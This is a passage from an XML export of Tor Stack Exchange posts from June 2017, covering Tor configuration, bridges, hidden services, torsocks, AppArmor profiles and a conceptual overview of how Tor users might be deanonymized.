layer, they only get to learn one of the second layer&#xA;Guards, and not all of them. This prevents the adversary from gaining&#xA;the ability to take their pick of the weakest of the second-level&#xA;guards for further attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In effect this means that it is much harder to mount guard discovery attacks, which will protect better Tor onion services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both clients and services will use this same algorithm to preserve the symmetry.&lt;/p&gt;&#xA;" OwnerUserId="17851" LastActivityDate="2017-06-11T23:35:20.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14993" PostTypeId="2" ParentId="14982" CreationDate="2017-06-12T01:56:33.883" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://wiki.mozilla.org/Software_Update:MAR&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;.mar&lt;/code&gt; file are a &lt;em&gt;M&lt;/em&gt;ozilla &lt;em&gt;AR&lt;/em&gt;chive&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are that format that is specific to Mozilla because it is how Mozilla applies updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since they are distributed primarily to be applied as updates to Tor Browser it would not make sense (or really be feasible) to put them into another file format.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-06-12T01:56:33.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14994" PostTypeId="2" ParentId="14983" CreationDate="2017-06-12T01:58:38.887" Score="0" Body="&lt;p&gt;You want to use the &lt;code&gt;file&lt;/code&gt; option for &lt;code&gt;Log&lt;/code&gt; to make Tor log to a specific file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example by setting the Log line in your &lt;code&gt;torrc&lt;/code&gt; to this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Log info file /var/log/torlog&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-06-12T01:58:38.887" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="14995" PostTypeId="1" CreationDate="2017-06-12T02:22:49.930" Score="1" ViewCount="637" Body="&lt;p&gt;TOR services are blocked in Egypt by the government. Even this website can't be accessed without vpn.&#xA; Is there away around this?&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="17853" LastActivityDate="2017-06-12T06:51:50.463" Title="TOR services are blocked" Tags="|help|" AnswerCount="1" CommentCount="0" ClosedDate="2017-06-12T22:53:11.330" ContentLicense="CC BY-SA 3.0" />
  <row Id="14996" PostTypeId="1" CreationDate="2017-06-12T03:16:41.570" Score="2" ViewCount="644" Body="&lt;p&gt;I configured Tor to set up a hidden service in &quot;c:\webserver\www\hidden_service&quot;. When I start Tor Browser, it creates the directory &quot;hidden_service&quot; and the hostname and public_key files inside of it. But when I open the site in Tor Browser using the address provided in hostname (xxxxxxx.onion), I reach the directory one level up (c:\webserver\www) of the one I configured. Any ideas why is this happenig?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir C:\webserver\www\tor_hidden_service&#xA;HiddenServicePort 80 127.0.0.1:8080&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17854" LastEditorUserId="88" LastEditDate="2017-06-20T11:57:07.117" LastActivityDate="2018-06-15T18:11:14.500" Title="Why do I see the hidden service directory in my browser?" Tags="|configuration|onion-services|website|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14997" PostTypeId="1" CreationDate="2017-06-12T04:27:48.250" Score="1" ViewCount="615" Body="&lt;p&gt;Tor exited during startup. This might be due to an error in your torrc file, a bug in Tor or another program on your system, or faulty hardware. Until you fix the underlying problem and restart Tor, Tor Browser will not start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i get like this error can anyone help me?&lt;/p&gt;&#xA;" OwnerUserId="17855" LastActivityDate="2017-06-12T04:27:48.250" Title="problem on starting asking to restart tor" Tags="|tor-install|" AnswerCount="0" CommentCount="2" ClosedDate="2017-06-12T22:53:50.267" ContentLicense="CC BY-SA 3.0" />
  <row Id="14999" PostTypeId="2" ParentId="14995" CreationDate="2017-06-12T06:51:50.463" Score="1" Body="&lt;p&gt;You can use many different bridges to bypass the censorship.&lt;br&gt;&#xA;You can learn about them here: &lt;a href=&quot;https://www.torproject.org/docs/bridges&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/bridges&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also make sure that your Tor Browser Bundle version is the latest. (At the time it is 7.0).&lt;br&gt;&#xA;If you can't download directly from &lt;a href=&quot;https://torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://torproject.org&lt;/a&gt;, you can get latest version of Tor by email:&lt;br&gt;&#xA;Quoting from &lt;a href=&quot;https://www.torproject.org/projects/gettor&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/projects/gettor&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Users can communicate with GetTor robot by sending messages via email. Currently, the best known email address to do this is gettor@torproject.org. This should be the most current and stable GetTor robot as it is operated by Tor Project itself.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;To ask for Tor Browser, a user should send an email to GetTor robot with one of the following options in the body of the message:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;windows: If the user needs Tor Browser for Windows.&lt;/li&gt;&#xA;  &lt;li&gt;linux: If the user needs Tor Browser for Linux.&lt;/li&gt;&#xA;  &lt;li&gt;osx: If the user needs Tor Browser for Mac OS X.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also you can download it using Twitter:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You can send a direct message to &lt;a href=&quot;https://twitter.com/get_tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;@get_tor&lt;/a&gt; account (you don't need to follow). Send the word &lt;strong&gt;help&lt;/strong&gt; in a direct message to learn how to interact with it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2017-06-12T06:51:50.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15000" PostTypeId="2" ParentId="14956" CreationDate="2017-06-12T06:57:03.650" Score="1" Body="&lt;p&gt;As &lt;a href=&quot;https://tor.stackexchange.com/users/1765/greg-hewgill&quot;&gt;Greg Hewgill&lt;/a&gt; was saying: No, Tor chooses nodes randomly.&lt;br&gt;&#xA;But you can change it easily.  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Find where your torrc file is located.&lt;/li&gt;&#xA;&lt;li&gt;Add a line like that &lt;code&gt;ExitNodes {**} StrictNodes 1&lt;/code&gt;.&lt;br&gt;&#xA;Where &lt;code&gt;**&lt;/code&gt; use needed specify needed country by entering its code in &lt;a href=&quot;https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2&quot; rel=&quot;nofollow noreferrer&quot;&gt;ISO 3166-1 alpha-2&lt;/a&gt; format.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Also you could use this for entry nodes. Just simply replace &lt;code&gt;ExitNodes&lt;/code&gt; with &lt;code&gt;EntryNodes&lt;/code&gt;.&#xA;You could also enter nodes fingerprint in here (don't write it with curly brackets).&lt;br&gt;&#xA;Separate different nodes using comma.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;P.S.&lt;/em&gt;&lt;/strong&gt; Thank you, &lt;a href=&quot;https://tor.stackexchange.com/users/1765/greg-hewgill&quot;&gt;Greg Hewgill&lt;/a&gt; to pointing out this for me.&lt;/p&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2017-06-12T06:57:03.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15003" PostTypeId="2" ParentId="7347" CreationDate="2017-06-12T15:00:06.017" Score="1" Body="&lt;p&gt;It will not be anonymous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Browser is made to have the same user agent, fingerprint, and settings for all users (if they don't install add-ons), so sites can't tell Tor Browser users from each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chrome (and other browsers) is not an anonymous browser and &lt;a href=&quot;https://blog.torproject.org/blog/google-chrome-incognito-mode-tor-and-fingerprinting&quot; rel=&quot;nofollow noreferrer&quot;&gt;doesn't have fingerprinting defenses&lt;/a&gt;, so if you simply set Chrome to use as a proxy, your fingerprint will be unique and trackable across all sites you visit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also many possible leaks that can and will leak your IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chrome also contains telemetry from Google that will leak metadata about your browsing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tor Browser is the only browser designed for anonymity and recommended for use with Tor.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="17363" LastEditorUserId="17363" LastEditDate="2017-06-12T15:13:47.830" LastActivityDate="2017-06-12T15:13:47.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15004" PostTypeId="1" CreationDate="2017-06-12T15:40:43.583" Score="0" ViewCount="3992" Body="&lt;p&gt;I want to configure my Tor Browsers to use a private Bridge but cannot locate any documentation which gives the specifics.&lt;/p&gt;&#xA;" OwnerUserId="15254" LastEditorUserId="88" LastEditDate="2017-06-16T22:02:38.207" LastActivityDate="2017-06-16T22:02:38.207" Title="Configure Tor Browser to use a private Bridge" Tags="|configuration|bridge|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15005" PostTypeId="2" ParentId="15004" CreationDate="2017-06-12T16:01:54.363" Score="2" Body="&lt;p&gt;I think this is the documentation that you are looking for:&lt;br&gt;&#xA;&lt;a href=&quot;https://www.torproject.org/docs/bridges&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/bridges&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h1&gt;Understanding A Bridge Configuration Line&lt;/h1&gt;&#xA;  &#xA;  &lt;p&gt;As an example, when you obtain a bridge from &lt;a href=&quot;https://bridges.torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bridges.torproject.org&lt;/a&gt;, you'll get a bridge entry that looks like the following:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;141.201.27.48:443 4352e58420e68f5e40bf7c74faddccd9d1349413&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;Understanding the components of a bridge line isn't strictly required but may prove useful. You can skip this section if you'd like.&lt;br&gt;&#xA;  The first element is the IP address of the bridge: '141.201.27.48'&lt;br&gt;&#xA;  The second element is the port number: '443'&lt;br&gt;&#xA;  The third element, the fingerprint (unique identifier of the bridge), is optional: '4352e58420e68f5e40bf7c74faddccd9d1349413'  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now you need to edit it as you need.&lt;br&gt;&#xA;How to add this line in TBB is written here:&lt;br&gt;&#xA;&lt;a href=&quot;https://www.torproject.org/docs/bridges#AddTorNotWorks&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/bridges#AddTorNotWorks&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2017-06-12T16:01:54.363" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15007" PostTypeId="1" CreationDate="2017-06-13T05:10:36.127" Score="1" ViewCount="298" Body="&lt;p&gt;Sometimes I'll &lt;code&gt;$ torsocks --shell&lt;/code&gt;, then forget I'm in a torified shell and hours later do &lt;code&gt;$ torsocks curl https://website.com&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does torsocks know not to do tor over tor? Is there some kind of idiot proofing written into torsocks to prevent this kind of activity?&lt;/p&gt;&#xA;" OwnerUserId="17870" LastActivityDate="2017-06-13T21:32:09.947" Title="torsocks over torsocks? (by accident)" Tags="|configuration|circuit|torsocks|terminal|torify|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15009" PostTypeId="1" CreationDate="2017-06-13T11:12:26.927" Score="1" ViewCount="220" Body="&lt;p&gt;I am using TBB quite a while, currently in version 7.0 on Ubuntu studio. Just recently I came across a strange behaviour of noscript, that probably might not be intended:&#xA;When i visit a site and manually allow all scripts, the noscript-icon changes from red to white. If I decide to change identity via Onion button (&quot;New Identity&quot;) and visit the same site again, the noscript-icon will change back to red, but in fact, all scripts are allowed. I have tried several sites, it is everywhere the same bevaviour.&#xA;Do I have wrong settings in noscript? Or is it a bug?&#xA;Thank you for your answers!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: I have updated to 7.0.1, but nothing has changed. With manually allow scripts I mean &quot;Temporarily allow all this page&quot;. Ubuntu Studio 16.04.2 LTS.&#xA;Tor Network Settings: nothing checked&#xA;Security Settings: High.&#xA;Browser Settings are unchanged.&#xA;I don't think, that I have changed any NoScript settings. If so, only on General Tab.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/olbJL.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/olbJL.jpg&quot; alt=&quot;1. As expected&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;1. As expected&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/04PqW.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/04PqW.jpg&quot; alt=&quot;2. Temporarily allow all this page + New Identity + Load Site again&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;2. Temporarily allow all this page + New Identity + Load Site again&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I think no one could reproduce this behaviour, and for me it was gone after a fresh reinstall of TBB 7.0.1.&lt;br&gt;&#xA;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="17876" LastEditorUserId="17876" LastEditDate="2017-06-18T16:28:37.253" LastActivityDate="2017-06-18T16:28:37.253" Title="Something wrong with noscript in TBB 7.0?" Tags="|tor-browser-bundle|noscript|" AnswerCount="0" CommentCount="2" ClosedDate="2017-06-19T10:53:27.377" ContentLicense="CC BY-SA 3.0" />
  <row Id="15010" PostTypeId="1" CreationDate="2017-06-13T14:51:48.053" Score="3" ViewCount="388" Body="&lt;p&gt;I was wondering if it is possible to host a hidden service and use Bootstrap (cdn or local) css. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If bootstrap is to big to handle for Tor, is there any other (lightweight) css framework that would be possible to use on a Hidden Service?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind regards.&lt;/p&gt;&#xA;" OwnerUserId="17881" LastActivityDate="2017-06-19T11:23:13.940" Title="Hidden Service with Bootstrap 3" Tags="|tor-browser-bundle|onion-services|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15011" PostTypeId="1" CreationDate="2017-06-13T15:42:12.540" Score="2" ViewCount="297" Body="&lt;p&gt;How are websites aware that you are using Tor to connect to them. I thought the Ip addresses of the computers through which you are routed, were indistinguashible from the rest and thus helped you be anonymous online.&lt;/p&gt;&#xA;" OwnerUserId="17883" LastActivityDate="2017-06-13T20:45:24.437" Title="How does youtube for example know I am using Tor?" Tags="|anonymity|" AnswerCount="1" CommentCount="0" ClosedDate="2017-06-15T20:10:04.937" ContentLicense="CC BY-SA 3.0" />
  <row Id="15014" PostTypeId="2" ParentId="15011" CreationDate="2017-06-13T20:45:24.437" Score="1" Body="&lt;p&gt;No, you share a network of nodes operated by volunteers. Since all Tor users can use any node and hence any exit IP, your indistinguishable* from other Tor users. Tor does in no way try to hide the fact that you're using Tor. The ability for the client to pick an arbitrary exit relay (and thereby any IP in the pool) is part of the security design, you don't want anyone else to be able to decide what path your traffic takes through the network. However, as a direct consequence, it's very easy to enumerate the IP addresses of all nodes in the network. Matter of fact, you can get a list of all &lt;a href=&quot;https://check.torproject.org/cgi-bin/TorBulkExitList.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;IPs used by Tor exit nodes online&lt;/a&gt;. Trying to hide the IPs would be futile, with the possibility to use any exit, you could simply go through all of them and observer the IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;* By indistinguishable, I'm talking about your IP address, your behavior may still allow to identify you (e.g. using the same search term all the time, logging in, use of a particular browser, …).&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-06-13T20:45:24.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15015" PostTypeId="2" ParentId="15007" CreationDate="2017-06-13T21:32:09.947" Score="2" Body="&lt;p&gt;Torsocks sets the &lt;a href=&quot;https://linux.die.net/man/8/ld.so&quot; rel=&quot;nofollow noreferrer&quot;&gt;LD_PRELOAD&lt;/a&gt; environment variable to intercept a few system calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does not matter if you use it recursively:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# at first $LD_PRELOAD is unset&#xA;$ echo $LD_PRELOAD &#xA;&#xA;# when we start a torsocks shell is $LD_PRELOAD is set&#xA;$ torsocks --shell&#xA;/usr/bin/torsocks: New torified shell coming right up...&#xA;$ echo $LD_PRELOAD &#xA;/usr/lib/torsocks/libtorsocks.so&#xA;&#xA;# if create a torsocks shell in a torsocks shell $LD_PRELOAD remains unchanged&#xA;$ torsocks --shell&#xA;/usr/bin/torsocks: New torified shell coming right up...&#xA;peter@ivy:~/src$ echo $LD_PRELOAD&#xA;/usr/lib/torsocks/libtorsocks.so&#xA;&#xA;# when we exit the two shells, torsocks is deactivated again&#xA;peter@ivy:~/src$ exit&#xA;peter@ivy:~/src$ exit&#xA;peter@ivy:~/src$ echo $LD_PRELOAD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-06-13T21:32:09.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15016" PostTypeId="1" CreationDate="2017-06-13T22:41:57.263" Score="1" ViewCount="241" Body="&lt;p&gt;As of late I was experimenting with running a non-exit Tor relay from my home IP address. However, after setting it all up and having it successfully running, I became aware of the dangers of traffic of illegal content, being blacklisted from sites that identify you as running a Tor relay (which I didn't know it could be done that easily)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;a href=&quot;https://exonerator.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://exonerator.torproject.org/&lt;/a&gt; my internal host doesn't appear as having run a relay. Should I worry about my IP address being &quot;marked&quot; by any website I have visited? How do I disable a relay completely?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Ubuntu 16.04.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, I have a Dynamic DNS but I didn't configure the relay as such, so every time I restart my router I have a new IP address. This is good for me, isn't it? Or is it the Default Route blacklisted from such websites?&lt;/p&gt;&#xA;" OwnerUserId="17894" LastEditorUserId="17894" LastEditDate="2017-06-14T11:15:01.640" LastActivityDate="2017-06-14T11:15:01.640" Title="If I stop running a Tor relay, does my IP address keep &quot;marked&quot; as running it? How do I disable a relay completely?" Tags="|relays|ip-address|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15018" PostTypeId="1" CreationDate="2017-06-14T13:18:14.030" Score="2" ViewCount="689" Body="&lt;p&gt;Can the police, any spy agency or any government organizations track you on Tor and spy on what you're doing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is the only way to do this hacking the computer or infecting it with a keylogger? If this is the only way, what's the likelihood of any agency doing that to you especially if they know about you and how can you protect yourself so no one hacks or keylogs your computer? &#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="17898" LastEditorUserId="866" LastEditDate="2017-06-15T10:46:27.117" LastActivityDate="2017-06-15T10:46:27.117" Title="Spying on TOR communications?" Tags="|anonymity|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ClosedDate="2017-06-18T09:37:51.283" ContentLicense="CC BY-SA 3.0" />
  <row Id="15019" PostTypeId="2" ParentId="14983" CreationDate="2017-06-14T15:42:14.530" Score="0" Body="&lt;p&gt;There is no way to assign the syslog facility. A not working work around suggests to use &lt;code&gt;Log info file /var/log/torlog&lt;/code&gt; , however this work around is really not working because Tor isn't run by root or privileged user.&lt;/p&gt;&#xA;" OwnerUserId="17844" LastActivityDate="2017-06-14T15:42:14.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15021" PostTypeId="2" ParentId="15018" CreationDate="2017-06-14T19:03:23.560" Score="1" Body="&lt;p&gt;It is possible (but usually difficult). Other than hacking the computer, there are some ways powerful adversaries could spy on you.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Correlation attack: If you are unlucky, you might get an entry node/guard controlled by an adversary. Tor tries to prevent this by making entry nodes semi-permanent, so adversaries get only one (or a few) tries. &#xA;This does not necessarily compromise the whole circuit, but if you also get an exit node controlled by the same adversary, they will be able to correlate the traffic going into the entry node and coming out of the exit node.&lt;/li&gt;&#xA;&lt;li&gt;MITM (man-in-the-middle) attack: If you use HTTP, an adversary who is&#xA;able to see the traffic coming out of the exit node will be able to&#xA;see contents of the connection and modify them. They could also try&#xA;to attack your browser if they know any vulnerabilities (most common&#xA;are script exploits, most scripting is disabled in TBB at medium and&#xA;high security setting). MITM would be much more difficult, but not&#xA;impossible over HTTPS. This has happened with compromised CAs&#xA;(certificate authorities) like DigiNotar, which have since been&#xA;removed by Mozilla and TBB from trusted CAs. If you're concerned&#xA;about this, check site certificates for anything suspicious.&lt;/li&gt;&#xA;&lt;li&gt;Compromised site: The site could be controlled by an adversary or&lt;br&gt;&#xA;working together with them.&lt;/li&gt;&#xA;&lt;li&gt;Identity correlation: Using any of these attacks to track your behavior and linking it to your real identity.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Usually at least two of these attacks would have to be combined to successfully deanonymize you.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How can you protect yourself so no one hacks or keylogs your computer?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Most difficult question, depends on your threat model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic thing you should do is to use good security practices (full disk encryption, sandboxing/hardening (not to be confused with hardened) Tor Browser) and don't use vulnerable or (up to your research and discretion) untrustworthy software.&lt;/p&gt;&#xA;" OwnerUserId="17363" LastEditorUserId="17363" LastEditDate="2017-06-14T19:22:42.927" LastActivityDate="2017-06-14T19:22:42.927" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="15025" PostTypeId="2" ParentId="14920" CreationDate="2017-06-14T22:50:42.920" Score="2" Body="&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Tor made itself able to censor arbitrary websites because of objectionable content then it would open itself up to political pressure from governments to censor other content too. This would require major reengineering to reduce the security of Tor and would undermine it's own goals and ultimately make the Tor network untrustworthy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All such censorship efforts are subject to &lt;em&gt;&quot;scope-creep&quot;&lt;/em&gt;, once you grant a power to a group of people the reasons for which they deploy that power are malleable. Once you justify it for one cause, it is much harder to deny it for the next and the next.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where I live the first internet sites blocked by court mandate were piracy websites, at the request of the music and film idustry. Since then it has been expanded to pornography &lt;em&gt;(at least the kinds of pornography that conservative old men don't like)&lt;/em&gt; and they are now pushing for radical political ideaologies and literature to be next.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor doesn't cause people to do bad things. Crime is a social issue which is best addressed through social means rather than censorship. Cenorship doesn't stop crimes from happening, it just hides the fact that they are happening. It would be counter-productive, people wouldn't know it was a real issue that needed to be addressed if it were just swept under the rug.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-06-14T22:50:42.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15029" PostTypeId="2" ParentId="14920" CreationDate="2017-06-15T06:47:50.777" Score="1" Body="&lt;p&gt;You can best compare Tor with a postal service. It takes packages from one person and delivers it to another person. The address is printed on the outside of each package. The  postal service does not open each package and looks what is inside. In fact in many countries such behaviour would be illegal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor does basically the same it takes packages and delivers them from one computer to another. Like the postal service uses existing infrastructure (roads etc.) to for their service, Tor uses also existing infrastructure (Internet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that is one of the  reasons why Tor is not and should not be responsible for the contents it delivers.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2017-06-15T06:47:50.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15032" PostTypeId="2" ParentId="9520" CreationDate="2017-06-15T09:45:38.583" Score="1" Body="&lt;p&gt;I modified &lt;strong&gt;apparmor&lt;/strong&gt; profile &lt;strong&gt;/etc/apparmor.d/system_tor&lt;/strong&gt;,&#xA;just added three lines in it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/usr/bin/obfsproxy PUx,&#xA;profile /etc/apparmor.d/usr.bin.obfsproxy {&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whole file sample:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# vim:syntax=apparmor&#xA;#include &amp;lt;tunables/global&amp;gt;&#xA;&#xA;profile system_tor flags=(attach_disconnected) {&#xA;  #include &amp;lt;abstractions/tor&amp;gt;&#xA;&#xA;  /usr/bin/obfsproxy PUx,&#xA;&#xA;  profile /etc/apparmor.d/usr.bin.obfsproxy {&#xA;  }&#xA;&#xA;  owner /var/lib/tor/** rwk,&#xA;  owner /var/lib/tor/ r,&#xA;  owner /var/log/tor/* w,&#xA;&#xA;  # During startup, tor (as root) tries to open various things such as&#xA;  # directories via check_private_dir().  Let it.&#xA;  /var/lib/tor/** r,&#xA;&#xA;  /{,var/}run/tor/ r,&#xA;  /{,var/}run/tor/control w,&#xA;  /{,var/}run/tor/socks w,&#xA;  /{,var/}run/tor/tor.pid w,&#xA;  /{,var/}run/tor/control.authcookie w,&#xA;  /{,var/}run/tor/control.authcookie.tmp rw,&#xA;  /{,var/}run/systemd/notify w,&#xA;&#xA;  # Site-specific additions and overrides. See local/README for details.&#xA;  #include &amp;lt;local/system_tor&amp;gt;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17912" LastActivityDate="2017-06-15T09:45:38.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15034" PostTypeId="1" CreationDate="2017-06-15T11:02:45.437" Score="2" ViewCount="592" Body="&lt;p&gt;I have Windows 7 Service pack 1 and my browser is opera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded Tor but on trying to connect I got the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Problem signature:&#xA;  Problem Event Name:   APPCRASH&#xA;  Application Name: firefox.exe&#xA;  Application Version:  52.2.0.6242&#xA;  Application Timestamp:    00000000&#xA;  Fault Module Name:    KERNELBASE.dll&#xA;  Fault Module Version: 6.1.7601.23796&#xA;  Fault Module Timestamp:   59028e59&#xA;  Exception Code:   c06d007f&#xA;  Exception Offset: 0000c54f&#xA;  OS Version:   6.1.7601.2.1.0.768.3&#xA;  Locale ID:    2057&#xA;  Additional Information 1: 0a9e&#xA;  Additional Information 2: 0a9e372d3b4ad19135b953a78882e789&#xA;  Additional Information 3: 0a9e&#xA;  Additional Information 4: 0a9e372d3b4ad19135b953a78882e789&#xA;&#xA;Read our privacy statement online:&#xA;  http://go.microsoft.com/fwlink/?linkid=104288&amp;amp;clcid=0x0409&#xA;&#xA;If the online privacy statement is not available, please read our privacy statement offline:&#xA;  C:\Windows\system32\en-US\erofflps.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17914" LastEditorUserId="112" LastEditDate="2017-06-15T20:21:35.050" LastActivityDate="2017-06-16T08:00:53.650" Title="Tor 7.0.1 App Crashes when I try to open it" Tags="|tor-browser-bundle|help|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15039" PostTypeId="1" CreationDate="2017-06-15T17:38:51.983" Score="3" ViewCount="163" Body="&lt;p&gt;How does anonymity of tor work? For example, government want to find somebody who uses tor. We will call him X. He visited site Z. He used tor. Government asks ip of exit node from Z and gets it. Traffic from exit node to Z is unencrypted. Exit node connects with second node with key. Is it unique (own) key for every second node or all second nodes which are connected with exit node have one and same key? If key is unique, can government see what second node made ask to exit node to Z and that way know what first (entry) node made ask to second. And that way find ip of X. How will government know which second nodes were connected with exit node? It will ask it from provider. Is it real to find X that way or not? I don't understand all aspects of Tor's work. Hope, asked a question clearly. Thanks. &lt;/p&gt;&#xA;" OwnerUserId="17918" LastActivityDate="2022-01-10T00:06:00.643" Title="Tor anonimyty (keys)" Tags="|anonymity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
